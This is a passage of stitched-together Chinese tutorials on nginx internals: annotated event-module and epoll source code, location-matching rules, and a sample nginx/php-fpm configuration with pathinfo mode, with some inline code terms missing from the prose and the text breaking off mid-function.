sigemptyset(&sa.sa_mask); // 添加SIGALRM监听信号 if (sigaction(SIGALRM, &sa, NULL) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "sigaction(SIGALRM) failed"); return NGX_ERROR; } // 设置时间间隔相关参数 itv.it_interval.tv_sec = ngx_timer_resolution / 1000; itv.it_interval.tv_usec = (ngx_timer_resolution % 1000) * 1000; itv.it_value.tv_sec = ngx_timer_resolution / 1000; itv.it_value.tv_usec = (ngx_timer_resolution % 1000) * 1000; // 按照指定的时间间隔设置定时器 if (setitimer(ITIMER_REAL, &itv, NULL) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "setitimer() failed"); } } // NGX_USE_FD_EVENT表示event filter没有透明数据,并需要一个文件描述符表,其主要用于poll、/dev/poll if (ngx_event_flags & NGX_USE_FD_EVENT) { struct rlimit rlmt; if (getrlimit(RLIMIT_NOFILE, &rlmt) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "getrlimit(RLIMIT_NOFILE) failed"); return NGX_ERROR; } // 这里主要是初始化最大个数的ngx_connection_t结构体,将其保存在files数组中 cycle->files_n = (ngx_uint_t) rlmt.rlim_cur; cycle->files = ngx_calloc(sizeof(ngx_connection_t *) * cycle->files_n, cycle->log); if (cycle->files == NULL) { return NGX_ERROR; } }#else if (ngx_timer_resolution && !(ngx_event_flags & NGX_USE_TIMER_EVENT)) { ngx_log_error(NGX_LOG_WARN, cycle->log, 0, "the "timer_resolution" directive is not supported " "with the configured event method, ignored"); ngx_timer_resolution = 0; }#endif // 申请指定个数的ngx_connection_t数组,这里的connection_n对应的是配置 // 文件中的worker_connections所指定的大小 cycle->connections = ngx_alloc(sizeof(ngx_connection_t) * cycle->connection_n, cycle->log); if (cycle->connections == NULL) { return NGX_ERROR; } c = cycle->connections; // 申请指定个数的ngx_event_t数组,其长度与connections数组一致, // 这样便可以将connections数组与read_events数组进行对应 cycle->read_events = ngx_alloc(sizeof(ngx_event_t) * cycle->connection_n, cycle->log); if (cycle->read_events == NULL) { return NGX_ERROR; } rev = cycle->read_events; for (i = 0; i < cycle->connection_n; i++) { rev[i].closed = 1; // 初始状态默认读事件都是closed状态 rev[i].instance = 1; // 初始时初始化instance为1 } // 申请指定个数的ngx_event_t数组,其长度与connections数组一致, // 这样便可以将connections数组与write_events数组进行对应 cycle->write_events = ngx_alloc(sizeof(ngx_event_t) * cycle->connection_n, cycle->log); if (cycle->write_events == NULL) { return NGX_ERROR; } wev = cycle->write_events; for (i = 0; i < cycle->connection_n; i++) { wev[i].closed = 1; // 初始时写事件默认也都是closed状态 } i = cycle->connection_n; next = NULL; do { i--; // 将read_events和write_events数组的元素依次赋值到connections数组元素的read和write属性中, // 并且将connections数组组装成一个单链表 c[i].data = next; c[i].read = &cycle->read_events[i]; c[i].write = &cycle->write_events[i]; c[i].fd = (ngx_socket_t) -1; next = &c[i]; } while (i); // 初始状态时,所有的connections都未被使用,因而需要存储在free_connections链表中 cycle->free_connections = next; cycle->free_connection_n = cycle->connection_n; /* for each listening socket */ ls = cycle->listening.elts; for (i = 0; i < cycle->listening.nelts; i++) {#if (NGX_HAVE_REUSEPORT) if (ls[i].reuseport && ls[i].worker != ngx_worker) { continue; }#endif // 这里是为当前所监听的每一个端口都绑定一个ngx_connection_t结构体 c = ngx_get_connection(ls[i].fd, cycle->log); if (c == NULL) { return NGX_ERROR; } c->type = ls[i].type; c->log = &ls[i].log; c->listening = &ls[i]; ls[i].connection = c; rev = c->read; rev->log = c->log; // 标记accept为1,表示当前可以接收客户端的连接事件 rev->accept = 1;#if (NGX_HAVE_DEFERRED_ACCEPT) rev->deferred_accept = ls[i].deferred_accept;#endif if (!(ngx_event_flags & NGX_USE_IOCP_EVENT)) { if (ls[i].previous) { /* * delete the old accept events that were bound to * the old cycle read events array */ // 删除旧的事件 old = ls[i].previous->connection; if (ngx_del_event(old->read, NGX_READ_EVENT, NGX_CLOSE_EVENT) == NGX_ERROR) { return NGX_ERROR; } old->fd = (ngx_socket_t) -1; } }#if (NGX_WIN32) if (ngx_event_flags & NGX_USE_IOCP_EVENT) { ngx_iocp_conf_t *iocpcf; rev->handler = ngx_event_acceptex; if (ngx_use_accept_mutex) { continue; } if (ngx_add_event(rev, 0, NGX_IOCP_ACCEPT) == NGX_ERROR) { return NGX_ERROR; } ls[i].log.handler = ngx_acceptex_log_error; iocpcf = ngx_event_get_conf(cycle->conf_ctx, ngx_iocp_module); if (ngx_event_post_acceptex(&ls[i], iocpcf->post_acceptex) == NGX_ERROR) { return NGX_ERROR; } } else { rev->handler = ngx_event_accept; if (ngx_use_accept_mutex) { continue; } if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) { return NGX_ERROR; } }#else // SOCK_STREAM表示TCP,一般都是TCP,也就是说在接收到客户端的accept事件之后, // 就会调用ngx_event_accept()方法处理该事件 rev->handler = (c->type == SOCK_STREAM) ? ngx_event_accept : ngx_event_recvmsg;#if (NGX_HAVE_REUSEPORT) // 添加当前事件到事件监听队列中 if (ls[i].reuseport) { if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) { return NGX_ERROR; } continue; }#endif if (ngx_use_accept_mutex) { continue; }#if (NGX_HAVE_EPOLLEXCLUSIVE) if ((ngx_event_flags & NGX_USE_EPOLL_EVENT) && ccf->worker_processes > 1) { if (ngx_add_event(rev, NGX_READ_EVENT, NGX_EXCLUSIVE_EVENT) == NGX_ERROR) { return NGX_ERROR; } continue; }#endif // 添加当前事件到事件监听队列中 if (ngx_add_event(rev, NGX_READ_EVENT, 0) == NGX_ERROR) { return NGX_ERROR; }#endif } return NGX_OK;} 这里方法主要完成了如下几个工作: ● 根据所使用的进程模式和worker进程数量,配置是否使用共享锁的字段; ● 初始化用于处理事件的队列和队列; ● 调用当前所使用的事件模型模块的init()方法,比如epoll模型在该init()方法中就会构建一个epoll句柄,以便后续往其中添加需要监听的事件; ● 判断是否配置了属性,也即上一节中获取的更新nginx缓存时间的定时任务的执行频率字段,如果配置了,则创建一个定时任务以定时设置属性值; ● 创建长度相同的、和数组,并且将数组中每个结构体的read属性指向数组中对应位置的读事件结构体,将write属性指向数组中对应位置的写事件结构体,并且将所有的组织成单链表存储到的属性中; ● 为当前nginx监听的各个端口配置一个结构体,并且为其添加对应的事件监听器,以等待客户端连接的到来。 6. 小结 本文主要讲解了nginx事件模块的初始化方式,以初始化过程中各个方法的调用顺序依次讲解了每个方法的实现原理,以及其在整个流程中所起到的作用。 推荐教程:Nginx教程 以上就是讲解nginx事件模块的实现细节的知识。速戳>>知识兔学习精品课! location匹配的是nginx的哪个变量? location的匹配种类有哪些? 开头表示精确匹配 开头,注意这不是一个正则表达式(是提升优先级的字符串匹配)–它的目的是优先于正则表达式的匹配。如果该location是最佳匹配,则不再进行正则表达式检测。 开头表示区分大小写的正则匹配; 开头表示不区分大小写的正则匹配 :表示区分大小写不匹配的正则和不区分大小写的不匹配的正则 字符串匹配 /通用匹配, 如果没有其它匹配,任何请求都会匹配到 location搜索顺序 首先精确匹配 其次匹配 再其次按照配置文件的顺序进行正则匹配 最后是交给/进行通用匹配 注意: 当有匹配成功时,立刻停止匹配,按照当前匹配规则处理请求 特别注意:字符串匹配优先搜索,但是只是记录下最长的匹配 ,然后继续搜索正则匹配,如果有正则匹配,则命中正则匹配,如果没有正则匹配,则命中最长的字符串匹配。 ( 如果 ^~ 是最长的匹配,则会直接命中,停止搜索正则 ) 精确匹配 location = /images/test.png { echo 'config1';}location /images/test.png { echo 'config2';}location /images/test.png$ { echo 'config3';} 如果此时请求 会输出什么呢? 输出 , 毋容置疑,精确匹配优先级最高! 精确匹配的特殊情况 location = / { index index.html;}location / { echo 'config2';} 此时是输入 会输出什么呢? 是输出 config2, 怎么精确匹配的优先级不灵了呢? 是这样的,精确匹配还是起作用了,请求目录(非具体文件),nginx会将请求内部定向到index文件, 既此时真正的请求是, 这是 则被命中! 所以精确匹配不要用来匹配 / 字符串搜索与正则搜索 location /images/test.png { echo 'config1';}location ^~ /images/ { echo 'config2';}location ~ /images/test.png$ { echo 'config3';}location ~ /images/ { echo 'config4';} 如果此时请求 会输出什么呢? 当然是 ,正则命中 (虽然 config1 为最长匹配的字符串,此时只做记录,后面还要搜索正则匹配,则config3正则匹配命中), 仔细观察可以发现config4也被匹配成功了,但是正则的匹配顺序是按照location的定义顺序匹配的,所以config3命中. 字符串匹配优先级的提升( ^~ ) location /images/ { echo 'config1';}location ^~ /images/test.png { echo 'config2';}location ~ /images/test.png$ { echo 'config3';}location ~ /images/ { echo 'config4';} 如果此时请求 会输出什么呢? 当然是, 首部匹配命中 (因为字符串匹配是优先搜索的,此时发现config2 为最长的字符串匹配且为^~匹配方式,所以停止搜索正则,直接命中!) 所以这里的 符号比较特殊,就是为了提高字符串匹配的优先级,优先于正则匹配. 相关推荐:《Nginx教程》 以上就是关于nginx location指令详解的知识。速戳>>知识兔学习精品课! nginx 通过 location 的规则匹配将 php 转发给 php-fpm 处理后获取结果然后返回给客户端,转发模式可以通过 unix sock 或 tcp socket 方式。 相关推荐:《Nginx教程》 百度了好多文章我是没遇到一个能完整的而且正确的把 nginx 和 php 结合的配置讲述的较为正确的,这里总结了下最基本的 nginx + php 的模式配置,以及隐藏 index.php 和 开启 pathinfo 模式的方法。 个人觉得是可以复制粘贴配置你的生产环境的,总结了很多好的博文的要点,比如隐藏 index.php 的 location 规则用的是 try_files 而不是烂大街的 if (! -e $uri) {},http 服务器级配置文件 和 虚拟主机配置文件也很好的分割开了,方便维护。 nginx 配置分两大层,基础的全局 http 配置 和 与主机相对应的 server 配置。 http 配置 nginx.conf# nginx main configureuser www www;worker_processes auto;error_log /var/log/error.log crit;pid /var/nginx.pid;#Specifies the value for maximum file descriptors that can be opened by this process.worker_rlimit_nofile 2048;events{ use epoll; worker_connections 2048; multi_accept on;}http{ include mime.types; default_type application/octet-stream; server_names_hash_bucket_size 128; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; sendfile on; tcp_nopush on; keepalive_timeout 60; tcp_nodelay on; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 256k; gzip on; gzip_min_length 1k; gzip_buffers 4 16k; gzip_http_version 1.1; gzip_comp_level 2; gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml application/xml+rss; gzip_vary on; gzip_proxied expired no-cache no-store private auth; gzip_disable "MSIE [1-6]."; #limit_conn_zone $binary_remote_addr zone=perip:10m; ##If enable limit_conn_zone,add "limit_conn perip 10;" to server section. server_tokens off; access_log off; # http 配置 include vhost/*.conf;} nginx http 的主配置文件,这里面包含了用户组,日志,处理类型,压缩传输,并发数等参数配置。我们并没有在这里配置 server,而是将所有的 server 放置到 vhost 文件中,清晰的管理我们的 server 虚拟主机配置。我们可以将不同 server 服务器单独配置为 conf 文件。 server 配置 比如我们配置一虚拟主机 default vhost/default.conf 这里面参数配置包括:隐藏 index.php,开启php处理或开启php pathinfo模式,单独处理静态资源 注意: 如果你想开启 pathinfo 模式只需要将 enable-php.conf 改为 enable-php-pathinfo.conf 即可,二者选其一 server{ listen 80; #listen [::]:80; server_name www.default.com; index index.html index.htm index.php; root /var/www/default; #error_page 404 /404.html; #hide index.php location / { # yii2 框架的 /site/index?name=sallency&age=25 模式的 rewrite 方法 try_files $uri $uri/ /index.php$is_args$args; # tp 框架的 /site/index/name/sallency/age/25 模式的 rewrite 方法 try_files $uri $uri/ /index.php/$uri; # 虽然 if 不规范但 rewrite 还是很方便的 可以兼容 yii2 和 tp 的 pathinfo 模式 if (!-e $request_filename){ rewrite ^/(.*)$ /index.php/$1 last; break; } } #handler php request include enable-php.conf; #php with pathinfo #include enable-php-pathinfo.conf; #handler static resource location ~ .*.(gif|jpg|jpeg|png|bmp|swf)$ { expires 30d; } location ~ .*.(js|css)?$ { expires 12h; } #forbidden access . type location ~ /. { deny all; } access_log /var/log/nginx/default_access.log} 配置 php enable-php.conf 开启此配置便可以让 nginx 处理 php 文件,需要注意的是 fastcig_pass 的模式有两种: :不走网卡 效率高但不稳定 :127.0.0.1:9000 相比 unix socket 会慢一点点,但稳定性高出很多 此处的模式和配置选择应与 php-fpm.conf 中的 listen 参数保持一致: listen = /tmp/php-cgi.socklisten = 127.0.0.1:9000 location ~ [^/].php(/|$) { try_files $uri =404; #listen unix socket #fastcgi_pass unix:/tmp/php-cgi.sock; #listen tcp socket fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; } 配置 pathinfo 模式 enable-php-pathinfo.conf 此配置文件为 enable-php.conf 的增强版-- 开启 pathinfo 模式,流行的 php 框架都支持此模式 location ~ [^/].php(/|$) { #listen unix socket #fastcgi_pass unix:/tmp/php-cgi.sock; #listen tcp socket fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi.conf; #pathinfo fastcgi_split_path_info ^(.+?.php)(/.*)$; set $path_info $fastcgi_path_info; fastcgi_param PATH_INFO $path_info; try_files $fastcgi_script_name =404; } fastcgi.conf 这个配置文件其实是 nginx 自带的,我贴一下 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;fastcgi_param QUERY_STRING $query_string;fastcgi_param REQUEST_METHOD $request_method;fastcgi_param CONTENT_TYPE $content_type;fastcgi_param CONTENT_LENGTH $content_length;fastcgi_param SCRIPT_NAME $fastcgi_script_name;fastcgi_param REQUEST_URI $request_uri;fastcgi_param DOCUMENT_URI $document_uri;fastcgi_param DOCUMENT_ROOT $document_root;fastcgi_param SERVER_PROTOCOL $server_protocol;fastcgi_param REQUEST_SCHEME $scheme;fastcgi_param HTTPS $https if_not_empty;fastcgi_param GATEWAY_INTERFACE CGI/1.1;fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;fastcgi_param REMOTE_ADDR $remote_addr;fastcgi_param REMOTE_PORT $remote_port;fastcgi_param SERVER_ADDR $server_addr;fastcgi_param SERVER_PORT $server_port;fastcgi_param SERVER_NAME $server_name;# PHP only, required if PHP was built with --enable-force-cgi-redirectfastcgi_param REDIRECT_STATUS 200; 配置完成,注意因为所有的配置文件都是由 nginx.conf 这个主配置文件作为入口进行加载的,所以活动目录始终是在 nginx.conf 所在的目录,所以配置文件中的 include 的当前路径是 nginx.conf 所在的目录,配置完成后重启 nginx service 的同时记得重启 php-fpm 服务 以上就是nginx隐藏index.php和开启pathinfo模式的配置方法详解的知识。速戳>>知识兔学习精品课! 本文首先对epoll模型的实现原理进行了讲解,然后从源码的层面对nginx是如何基于epoll模型实现事件驱动模式的原理进行了讲解。 epoll是一种基于事件驱动的模型,其是nginx能够高效处理客户端请求的重要原因之一。从流程上来讲,epoll模型的使用主要分为三步:epoll句柄的创建,监听文件描述符的添加和等待事件的触发,本文将介绍nginx是如何基于这三个步骤实现客户端请求的高效处理的。 相关推荐:《Nginx教程》 1. epoll模型介绍 在介绍nginx的实现原理之前,我们首先需要介绍一下epoll模型的基本使用方式。epoll在使用的时候主要有三个方法: // 创建epoll句柄int epoll_create(int size);// 往epoll句柄中添加需要进行监听的文件描述符int epoll_ctl(int epfd,int op,int fd,struct epoll_event* event);// 等待需要监听的文件描述符上对应的事件的发生int epoll_wait(int epfd,struct epoll_event* events,int maxevents,int timeout); 首先,我们会调用epoll_create()方法创建一个epoll实例的句柄,可以将这里的句柄理解为一个eventpoll结构体实例,而这个结构体中有一个红黑树和一个队列,红黑树中主要存储需要监听的文件描述符,而队列则是在所监听的文件描述符中有指定的事件发生时就会将这些事件添加到队列中,如下图所示为eventpoll的示意图: 一般来说,这个epoll句柄在程序的整个运行周期中只会有一个,比如nginx每个worker进程就都只维护了一个epoll句柄。在创建完句柄之后,对于我们的程序监听的每一个端口,其实本质上也都是一个文件描述符,这个文件描述符上是可以发生Accept事件,也即接收到客户端请求的。 因而,初始时,我们会将需要监听的端口对应的文件描述符通过epoll_ctl()方法添加到epoll句柄中。添加成功之后,这每一个监听的文件描述符就对应了eventpoll的红黑树中的一个节点。 另外,在调用epoll_ctl()方法添加了文件描述符之后,会将其与相应的设备(网卡)进行关联,当设备驱动发生某个事件时,就会回调当前文件描述符的回调方法ep_poll_callback(),从而生成一个事件,并且将该事件添加到eventpoll的事件队列中。 最后,当我们调用epoll_wait()方法时,就会从epoll句柄中获取对应的事件,本质上就是检查eventpoll的事件队列是否为空,如果有事件则将其返回,否则就会等待事件的发生。 另外,对于epoll的使用,这里获取的事件一般都是Accept事件,而在处理这个事件的时候,会获取客户端的连接的句柄,这个句柄本质上也是一个文件描述符,此时我们则会将其继续通过epoll_ctl()方法添加到当前的epoll句柄中,以继续通过epoll_wait()方法等待其数据的读取和写入事件。 通过这里我们可以看出,在epoll使用的过程中,会有两类文件描述符,一类是我们所监听的端口所对应的文件描述符,这类描述符我们一般监听其Accept事件,以等待客户端连接,另一类则是每个客户端连接所对应的一个文件描述符,而这里描述符我们一般监听其读写事件以接收和发送数据给客户端。 2. nginx中epoll实现方式 在前面的文章中,我们讲解了nginx是如何初始化事件驱动框架的,其中讲到事件框架的一个核心模块的定义如下: ngx_module_t ngx_event_core_module = { NGX_MODULE_V1, &ngx_event_core_module_ctx, /* module context */ ngx_event_core_commands, /* module directives */ NGX_EVENT_MODULE, /* module type */ NULL, /* init master */ // 该方法主要是在master进程启动的过程中调用的,用于初始化时间模块 ngx_event_module_init, /* init module */ // 该方法是在各个worker进程启动之后调用的 ngx_event_process_init, /* init process */ NULL, /* init thread */ NULL, /* exit thread */ NULL, /* exit process */ NULL, /* exit master */ NGX_MODULE_V1_PADDING}; 这里我们需要特别注意一下ngx_event_process_init()方法,我们讲到,这个方法是在每个worker创建的时候进行初始化调用的,这里面就涉及到两个非常重要的调用:a. 进行对应的事件模型的初始化;b. 监听配置文件中指定的各个端口。如下是这两个步骤的主要代码: static ngx_int_t ngx_event_process_init(ngx_cycle_t *cycle) { // 省略部分代码.... // 在nginx.conf配置文件的events{}配置块中需要使用use指令指定当前使用的事件模型, // 此时就会将所使用的事件模型的索引号存储在ecf->use中,下面的代码就是通过这种方式获取当前 // 所指定的事件模型所对应的模块的,然后调用该模块的actions.init()方法初始化该事件模型 for (m = 0; cycle->modules[m]; m++) { if (cycle->modules[m]->type != NGX_EVENT_MODULE) { continue; } // ecf->use存储了所选用的事件模型的模块序号,这里是找到该模块 if (cycle->modules[m]->ctx_index != ecf->use) { continue; } // module即为所选用的事件模型对应的模块 module = cycle->modules[m]->ctx; // 调用指定事件模型的初始化方法 if (module->actions.init(cycle, ngx_timer_resolution) != NGX_OK) { exit(2); } break; } // 省略部分代码... ls = cycle->listening.elts; for (i = 0; i < cycle->listening.nelts; i++) {#if (NGX_HAVE_REUSEPORT) if (ls[i].reuseport && ls[i].worker != ngx_worker) { continue; }#endif // 这里是为当前所监听的每一个端口都绑定一个ngx_connection_t结构体 c = ngx_get_connection(ls[i].fd, cycle->log); if (c == NULL) { return NGX_ERROR; } rev = c->read; // SOCK_STREAM表示TCP,一般都是TCP,也就是说在接收到客户端的accept事件之后, // 就会调用ngx_event_accept()方法处理该事件 rev->handler = (c->type == SOCK_STREAM) ? ngx_event_accept : ngx_event_recvmsg; if ((ngx_event_flags & NGX_USE_EPOLL_EVENT) && ccf->worker_processes > 1) { if (ngx_add_event(rev, NGX_READ_EVENT, NGX_EXCLUSIVE_EVENT) == NGX_ERROR) { return NGX_ERROR; } continue; } } return NGX_OK;} 对这里的代码主要完成了如下几部分的工作: 首先找到所使用的事件模型模块,然后调用其init()方法初始化该模型,这个方法里主要做了两件事,一个是通过epoll_create()方法创建一个epoll句柄,该句柄是当前worker进程运行的一个基础;另一个是为全局变量ngx_event_actions进行了赋值,即: // 这里将epoll相关的事件操作方法赋值给ngx_event_actions,// 也就是说后续有相关的事件发生则都会使用epoll相关的方法ngx_event_actions = ngx_epoll_module_ctx.actions; 这个赋值的调用是非常重要的,在赋值之后,nginx所定义的几个方法宏就都是使用的epoll模块中所指定的方法,这里的几个宏定义如下: #define ngx_process_events ngx_event_actions.process_events#define ngx_done_events ngx_event_actions.done#define ngx_add_event ngx_event_actions.add#define ngx_del_event ngx_event_actions.del#define ngx_add_conn ngx_event_actions.add_conn#define ngx_del_conn ngx_event_actions.del_conn 而这里的ngx_epoll_module_ctx.actions结构体的定义如下: { // 对应于ngx_event_actions_t中的add方法 ngx_epoll_add_event, /* add an event */ // 对应于ngx_event_actions_t中的del方法 ngx_epoll_del_event, /* delete an event */ // 对应于ngx_event_actions_t中的enable方法,与add方法一致 ngx_epoll_add_event, /* enable an event */ // 对应于ngx_event_actions_t中的disable方法,与del方法一致 ngx_epoll_del_event, /* disable an event */ // 对应于ngx_event_actions_t中的add_conn方法 ngx_epoll_add_connection, /* add an connection */ // 对应于ngx_event_actions_t中的del_conn方法 ngx_epoll_del_connection, /* delete an connection */ #if (NGX_HAVE_EVENTFD) ngx_epoll_notify, /* trigger a notify */ #else NULL, /* trigger a notify */ #endif // 对应于ngx_event_actions_t中的process_events方法 ngx_epoll_process_events, /* process the events */ // 对应于ngx_event_actions_t中的init方法 ngx_epoll_init, /* init the events */ // 对应于ngx_event_actions_t中的done方法 ngx_epoll_done, /* done the events */} 由此,就可以看出nginx出色的设计方式了,通过我们所选用的事件模型,就可以动态的为ngx_add_event()等宏指定所实现的子模块了。 上面的方法完成的第二个主要的工作就是遍历所有监听的端口,获取其描述符,然后通过ngx_add_event()方法将其添加到epoll句柄中以监听其客户端连接事件。从这里就可以感觉到比较巧妙了,因为上面一步中正好对epoll模块进行了初始化,并且设置了ngx_add_event()宏的实现方法,而这里就使用到了这里设置的方法,该方法本质上就是通过epoll_ctl()方法将当前监听的socket描述符添加到epoll句柄中; 最后就是上面的方法在遍历所有监听的端口的时候,为每个连接的accept事件添加的回调方法是ngx_event_accept(),通过前面我们对epoll模型的使用方式的介绍,我们大概可以理解,这里的ngx_event_accept()方法的主要作用是将当前accept到的客户端连接的句柄通过epoll_ctl()方法添加到当前epoll句柄中,以继续监听其读写事件; 这里我们首先看一下上面第一点中介绍的module->actions.init(cycle, ngx_timer_resolution)方法调用时是如何初始化epoll模块的。由于是epoll模块,这里的init()方法指向的就是ngx_epoll_init()方法,如下是该方法的源码: static ngx_int_t ngx_epoll_init(ngx_cycle_t *cycle, ngx_msec_t timer) { ngx_epoll_conf_t *epcf; // 获取解析得到的ngx_epoll_conf_t结构体 epcf = ngx_event_get_conf(cycle->conf_ctx, ngx_epoll_module); if (ep == -1) { // 创建eventpoll结构体,将创建得到的文件描述符返回 ep = epoll_create(cycle->connection_n / 2); // ep==-1表示创建失败 if (ep == -1) { ngx_log_error(NGX_LOG_EMERG, cycle->log, ngx_errno, "epoll_create() failed"); return NGX_ERROR; } } // 如果nevents小于epcf->events,说明event_list数组的长度不够,因而需要重新申请内存空间 if (nevents < epcf->events) { if (event_list) { ngx_free(event_list); } // 为event_list重新申请内存空间 event_list = ngx_alloc(sizeof(struct epoll_event) * epcf->events, cycle->log); if (event_list == NULL) { return NGX_ERROR; } } // 将nevents更新为配置文件中指定的大小 nevents = epcf->events; ngx_io = ngx_os_io; // 这里将epoll相关的事件操作方法赋值给ngx_event_actions,也就是说后续有相关的事件发生则 // 都会使用epoll相关的方法 ngx_event_actions = ngx_epoll_module_ctx.actions; // 这里NGX_USE_CLEAR_EVENT指的是使用ET模式来使用epoll,默认使用ET模式, // 而NGX_USE_LEVEL_EVENT表示使用LE模式来使用epoll#if (NGX_HAVE_CLEAR_EVENT) ngx_event_flags = NGX_USE_CLEAR_EVENT #else ngx_event_flags = NGX_USE_LEVEL_EVENT #endif // NGX_USE_GREEDY_EVENT表示每次拉取事件是都尝试拉取最多的事件 | NGX_USE_GREEDY_EVENT | NGX_USE_EPOLL_EVENT; return NGX_OK;} 可以看到,这里的ngx_epoll_init()方法主要的作用有两个:a. 通过epoll_create()方法创建一个epoll句柄;b. 设置ngx_event_actions属性所指向的方法的实现,从而确定ngx_add_event()等宏的实现方法。下面我们来看一下ngx_add_event()是如何将需要监听的文件描述符添加到epoll句柄中的: static ngx_int_t ngx_epoll_add_event(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags) { int op; uint32_t events, prev; ngx_event_t *e; ngx_connection_t *c; struct epoll_event ee; // ev->data在使用的过程中存储的是当前对应的ngx_connection_t,如果是free_connection, // 则存储的是下一个节点的指针 c = ev->data; // 事件类型 events = (uint32_t) event; // 如果是读事件 if (event == NGX_READ_EVENT) { e = c->write; prev = EPOLLOUT;#if (NGX_READ_EVENT != EPOLLIN | EPOLLRDHUP) events = EPOLLIN | EPOLLRDHUP; // 设置读事件类型#endif } else { e = c->read; prev = EPOLLIN | EPOLLRDHUP;#if (NGX_WRITE_EVENT != EPOLLOUT) events = EPOLLOUT; // 设置写事件类型#endif } // 根据active标志位确定是否为活跃事件,以决定到底是修改还是添加事件 if (e->active) { op = EPOLL_CTL_MOD; // 类型为修改事件 events |= prev; } else { op = EPOLL_CTL_ADD; // 类型为添加事件 }#if (NGX_HAVE_EPOLLEXCLUSIVE && NGX_HAVE_EPOLLRDHUP) if (flags & NGX_EXCLUSIVE_EVENT) { events &= ~EPOLLRDHUP; }#endif // 将flags参数指定的事件添加到监听列表中 ee.events = events | (uint32_t) flags; // 这里是将connection指针的最后一位赋值为ev->instance,然后将其赋值给事件的ptr属性,通过这种方式检测事件是否过期 ee.data.ptr = (void *) ((uintptr_t) c | ev->instance); ngx_log_debug3(NGX_LOG_DEBUG_EVENT, ev->log, 0, "epoll add event: fd:%d op:%d ev:%08XD", c->fd, op, ee.events); // 将事件添加到epoll句柄中 if (epoll_ctl(ep, op, c->fd, &ee) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_errno, "epoll_ctl(%d, %d) failed", op, c->fd); return NGX_ERROR; } // 将事件标记为活跃状态 ev->active = 1;#if 0 ev->oneshot = (flags & NGX_ONESHOT_EVENT) ? 1 : 0;#endif return NGX_OK;} 这里的ngx_add_event()方法本质上是比较简单的,就是将当前的ngx_event_t转换为一个epoll_event结构体,并且会设置该结构体中需要监听的事件类型,然后通过epoll_ctl()方法将当前epoll_event添加到epoll句柄中。 在前面的ngx_event_process_init()方法中,nginx通过ngx_add_event()方法将各个监听的端口的描述符添加到epoll句柄中之后,就会开始监听这些描述符上的accept连接事件,如果有客户端连接请求,此时就会回调ngx_event_accept()方法处理该请求,我们来看一下该方法是如何处理客户端建立连接的请求的: /** * 当客户端有accept事件到达时,将调用此方法处理该事件 */void ngx_event_accept(ngx_event_t *ev) { socklen_t socklen; ngx_err_t err; ngx_log_t *log; ngx_uint_t level; ngx_socket_t s; ngx_event_t *rev, *wev; ngx_sockaddr_t sa; ngx_listening_t *ls; ngx_connection_t *c, *lc; ngx_event_conf_t *ecf;#if (NGX_HAVE_ACCEPT4) static ngx_uint_t use_accept4 = 1;#endif if (ev->timedout) { // 如果当前事件超时了,则继续将其添加到epoll句柄中以监听accept事件 if (ngx_enable_accept_events((ngx_cycle_t *) ngx_cycle) != NGX_OK) { return; } ev->timedout = 0; } // 获取解析event核心配置结构体 ecf = ngx_event_get_conf(ngx_cycle->conf_ctx, ngx_event_core_module); if (!(ngx_event_flags & NGX_USE_KQUEUE_EVENT)) { ev->available = ecf->multi_accept; } lc = ev->data; ls = lc->listening; ev->ready = 0; do { socklen = sizeof(ngx_sockaddr_t);#if (NGX_HAVE_ACCEPT4) if (use_accept4) { s = accept4(lc->fd, &sa.sockaddr, &socklen, SOCK_NONBLOCK); } else { s = accept(lc->fd, &sa.sockaddr, &socklen); }#else // 这里lc->fd指向的是监听的文件句柄,调用accept()获取客户端的连接,并且将其存储到sa.sockaddr中 s = accept(lc->fd, &sa.sockaddr, &socklen);#endif // 检查当前进程获取的连接个数是否超过了最大可用连接数的7/8,是则不再继续接收连接 ngx_accept_disabled = ngx_cycle->connection_n / 8 - ngx_cycle->free_connection_n; // 获取新的连接 c = ngx_get_connection(s, ev->log); // 获取连接失败则直接返回 if (c == NULL) { if (ngx_close_socket(s) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_socket_errno, ngx_close_socket_n " failed"); } return; } // 标记当前为TCP连接 c->type = SOCK_STREAM; // 为当前连接创建连接池 c->pool = ngx_create_pool(ls->pool_size, ev->log); if (c->pool == NULL) { ngx_close_accepted_connection(c); return; } // 更新socklen的长度 if (socklen > (socklen_t) sizeof(ngx_sockaddr_t)) { socklen = sizeof(ngx_sockaddr_t); } // 为sockaddr申请内存空间,并且将客户端连接地址复制到c->sockaddr中 c->sockaddr = ngx_palloc(c->pool, socklen); if (c->sockaddr == NULL) { ngx_close_accepted_connection(c); return; } ngx_memcpy(c->sockaddr, &sa, socklen); // 申请ngx_log_t结构体的内存空间 log = ngx_palloc(c->pool, sizeof(ngx_log_t)); if (log == NULL) { ngx_close_accepted_connection(c); return; } /* set a blocking mode for iocp and non-blocking mode for others */ if (ngx_inherited_nonblocking) { if (ngx_event_flags & NGX_USE_IOCP_EVENT) { // 将连接设置为阻塞模式 if (ngx_blocking(s) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_socket_errno, ngx_blocking_n " failed"); ngx_close_accepted_connection(c); return; } } } else { if (!(ngx_event_flags & NGX_USE_IOCP_EVENT)) { // 将连接设置为非阻塞模式 if (ngx_nonblocking(s) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_socket_errno, ngx_nonblocking_n " failed"); ngx_close_accepted_connection(c); return; } } } *log = ls->log; // 设置连接的基本属性 c->recv = ngx_recv; c->send = ngx_send; c->recv_chain = ngx_recv_chain; c->send_chain = ngx_send_chain; 